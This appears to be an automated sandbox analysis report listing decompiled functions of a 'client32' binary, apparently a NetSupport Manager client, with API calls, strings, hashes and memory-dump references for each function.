Instruction ID: 861a20010b97cda9c46bc73d43b4561baa07196ef4a1bd06c3ab550d4ae6c7c8
Opcode Fuzzy Hash: 7863cd1019f7c507a980daf9cc18c30ca2e51dd9cb744989036ea746dc30ae22
Instruction Fuzzy Hash: 0D21DEBAA00205ABC314DFA8EC40EDBF7E8AF94750B00852AE95987740EA71FA50C7D1

Function 1100F210 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F22B

Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE78
Part of subcall function 1114EE63: __CxxThrowException@8.LIBCMT ref: 1114EE8D
Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE9E

std::_Xinvalid_argument.LIBCPMT ref: 1100F242

Strings

string too long, xrefs: 1100F226, 1100F23D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: b3d1314d947281a894f8efd54b95a9e12544f938a1616c6a14e75e78f85f9d23
Instruction ID: 4ae5dbe98dc33b486374ed3c743d77287fa05e59300f19889e7a737380275ccf
Opcode Fuzzy Hash: b3d1314d947281a894f8efd54b95a9e12544f938a1616c6a14e75e78f85f9d23
Instruction Fuzzy Hash: DC11D6377046108BF321D9ADE880BAAF7D9EFE57B4F20065FE59187640C7A1A84087A2

Function 110D55B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 11008D50: std::_Xinvalid_argument.LIBCPMT ref: 11008D6A

OutputDebugStringA.KERNEL32(111D8BD0,000000FF,NsAppSystem::CNsAsException::CNsAsException,0000002B,111D8BD0,00000000,000000FF,82E0FB89,?,00000000,00000000,?,?,?,00000000,111761AB), ref: 110D5663
OutputDebugStringA.KERNEL32(1118BEE8,?,?,?,00000000,111761AB,000000FF,?,110D2C63,?,Invalid Server paramters), ref: 110D566A

Strings

NsAppSystem::CNsAsException::CNsAsException, xrefs: 110D560D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DebugOutputString$Xinvalid_argumentstd::_
String ID: NsAppSystem::CNsAsException::CNsAsException
API String ID: 3978508687-500537696
Opcode ID: d3979ca99786bbdcf964c36c19b2760401b48af141d8562cb7bb1568ce08c8b8
Instruction ID: 8837671011e457aa4c11cfd1fd5c4e9a0250d23fcc6e96c43e9b8becd046c5d2
Opcode Fuzzy Hash: d3979ca99786bbdcf964c36c19b2760401b48af141d8562cb7bb1568ce08c8b8
Instruction Fuzzy Hash: 8321BF75D04349AFDB00DFA9C880BDEFBB8EF59328F10416ED82167281DB756A04CBA1

Function 11131740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11131782

Strings

..\ctl32\util.cpp, xrefs: 1113179E
p || !"<2Kb mem", xrefs: 111317A3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: ..\ctl32\util.cpp$p || !"<2Kb mem"
API String ID: 2961919466-1642919599
Opcode ID: a84a524e2a5a3ca184fcd3cda767411f9b22e8bd47eaacf26824eb7d4d9a3b4c
Instruction ID: a3632db9a93471b5910d5886b4d3df24aec854f6ed9a85d08698d96db66754df
Opcode Fuzzy Hash: a84a524e2a5a3ca184fcd3cda767411f9b22e8bd47eaacf26824eb7d4d9a3b4c
Instruction Fuzzy Hash: 6301D63F7046552B97014959BD84EE6BBA8DBC1279B084131FE0C9B105D622E90842E1

Function 1108F080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1108F095

Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE78
Part of subcall function 1114EE63: __CxxThrowException@8.LIBCMT ref: 1114EE8D
Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE9E

_memmove.LIBCMT ref: 1108F0C4

Strings

vector<T> too long, xrefs: 1108F090

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 6f0b2e1c205bbd2c96d839bee56b005472a4b14bbc734a29f06d1c48f80613f6
Instruction ID: a6d9f17f4f5abecd3a3e42e3327a60068f9e3e230c18d666d12c29c30de67088
Opcode Fuzzy Hash: 6f0b2e1c205bbd2c96d839bee56b005472a4b14bbc734a29f06d1c48f80613f6
Instruction Fuzzy Hash: 6001B5B5E042069FC734CEB9DC80CA7B7D9EBD4318714CA2DE55A87644EA70F801CBA1

Function 1100B560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

Error. NULL capbuf, xrefs: 1100B571
Error. preventing capbuf overflow, xrefs: 1100B596

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: Error. NULL capbuf$Error. preventing capbuf overflow
API String ID: 0-3856134272
Opcode ID: b51532faca43ebac7e18a9a5a26819066dfd90f60a6994718c66c64743f8ecf5
Instruction ID: 418a5b702e0b0712c65a1007775ff8f326adea187fe23ba1f0a502aa42cbf0d9
Opcode Fuzzy Hash: b51532faca43ebac7e18a9a5a26819066dfd90f60a6994718c66c64743f8ecf5
Instruction Fuzzy Hash: 5901DBBAE00A0597D610CF55F840ACBB398DBC037DF04897AEA1E97201D531F59187E2

Function 11083170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 11102BC0: GetCurrentThreadId.KERNEL32 ref: 11102BCE
Part of subcall function 11102BC0: EnterCriticalSection.KERNEL32(00000000,75A33760,00000000,111DBD28,?,110C3135,00000000,75A33760), ref: 11102BD8
Part of subcall function 11102BC0: LeaveCriticalSection.KERNEL32(00000000,75A4A1D0,00000000,?,110C3135,00000000,75A33760), ref: 11102BF8

InterlockedIncrement.KERNEL32(00000000), ref: 110831C1

Part of subcall function 11103060: GetCurrentThreadId.KERNEL32 ref: 11103089
Part of subcall function 11103060: EnterCriticalSection.KERNEL32(00000000,?,1106B5D7,00000001,?), ref: 11103096
Part of subcall function 11103060: LeaveCriticalSection.KERNEL32(00000000,?,?,?,1106B5D7), ref: 111030E2

Part of subcall function 11083090: InterlockedDecrement.KERNEL32(00000000), ref: 11083091

Strings

tdata, xrefs: 110831B3
..\ctl32\Errorhan.cpp, xrefs: 110831AE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CurrentEnterInterlockedLeaveThread$DecrementIncrement
String ID: ..\ctl32\Errorhan.cpp$tdata
API String ID: 572542348-657756363
Opcode ID: f4e42414f0fbdbc5b375dfe8d0a8774ab02788612ae6362accde8ab73a6fb4c6
Instruction ID: fed0740ed2e363c3bace71a798bb0b99693e64dd8fd0b9732b9dedd91c868084
Opcode Fuzzy Hash: f4e42414f0fbdbc5b375dfe8d0a8774ab02788612ae6362accde8ab73a6fb4c6
Instruction Fuzzy Hash: 06E0ED3AE0DA3F27D516A6A54C28BCFFB8A1B41A6DB404014F9286F640FC80A80082F6

Function 11095740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 11095754
SetLastError.KERNEL32(00000078,00000000,?,110965DC,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109577D

Strings

ConvertStringSecurityDescriptorToSecurityDescriptorA, xrefs: 1109574E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: ConvertStringSecurityDescriptorToSecurityDescriptorA
API String ID: 199729137-262600717
Opcode ID: 7296345c72dc160559074f0e23efd7321d78c34b523c223cec433581c304b291
Instruction ID: f0e677052f352e1d491147569a4aaef78e9149aea0f3838322468369201922be
Opcode Fuzzy Hash: 7296345c72dc160559074f0e23efd7321d78c34b523c223cec433581c304b291
Instruction Fuzzy Hash: 1EF08276A40228AFC320CF94E844E9BB7E8EF48721F00451AF95AD7240D671E910CBB0

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11001091
m_hWnd, xrefs: 11001096

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-1557312927
Opcode ID: 7af6d590896ff1dfbcac7f380829b7aab34670307aa9b842ebd1b5702f891b1a
Instruction ID: 959fc845a7b13bf9de0acd13928d7ecdd6b58ad8c2d11ea6b61d336c87b12d71
Opcode Fuzzy Hash: 7af6d590896ff1dfbcac7f380829b7aab34670307aa9b842ebd1b5702f891b1a
Instruction Fuzzy Hash: A8E01AB6610219BFD314CE85EC40ED7B3ADEB48354F008519F95997240D6B0E850CBB1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11001051
m_hWnd, xrefs: 11001056

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-1557312927
Opcode ID: 563ac9448ad9209c405835ae6ffe744044af7d71d485e160b5cdb4f271289dda
Instruction ID: 4a608db799e5a9afbdf3b9bc31dfafed9475bd885bd203aecf675f076c5a0dbd
Opcode Fuzzy Hash: 563ac9448ad9209c405835ae6ffe744044af7d71d485e160b5cdb4f271289dda
Instruction Fuzzy Hash: 90E046B6A00219BFD210CE85DC85EDAB3ACFB58324F00C429F91987240D6B0E850CBA1

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110010E1
m_hWnd, xrefs: 110010E6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-1557312927
Opcode ID: 49ceb5e28b7757a3c3378fb78ae6eab82e85225ab6ba3376b7b480bd37d390ef
Instruction ID: b9cf230d2c9f3a88a66f013921ab9639df1a4187879fb0e609e6af44bdfe2f68
Opcode Fuzzy Hash: 49ceb5e28b7757a3c3378fb78ae6eab82e85225ab6ba3376b7b480bd37d390ef
Instruction Fuzzy Hash: 3DE04F76A00219BFD215CE45DC45ED6B3ACFB48314F00C429F91487640D6B0F850CBA1

Function 110153B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 110153DB

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110153C1
m_hWnd, xrefs: 110153C6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-1557312927
Opcode ID: 1b926b9716b0b64936cb5e1a2271b180302512e4999b4c0638f729702118aa4d
Instruction ID: 1d7125962cf813140b05ce340ba898871e4843448dff8cc316c5671598320007
Opcode Fuzzy Hash: 1b926b9716b0b64936cb5e1a2271b180302512e4999b4c0638f729702118aa4d
Instruction Fuzzy Hash: EEE04F7AA00315AFC215DA95D840E96F3A9AB58314F00C419ED5547740D775E940CBA1

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
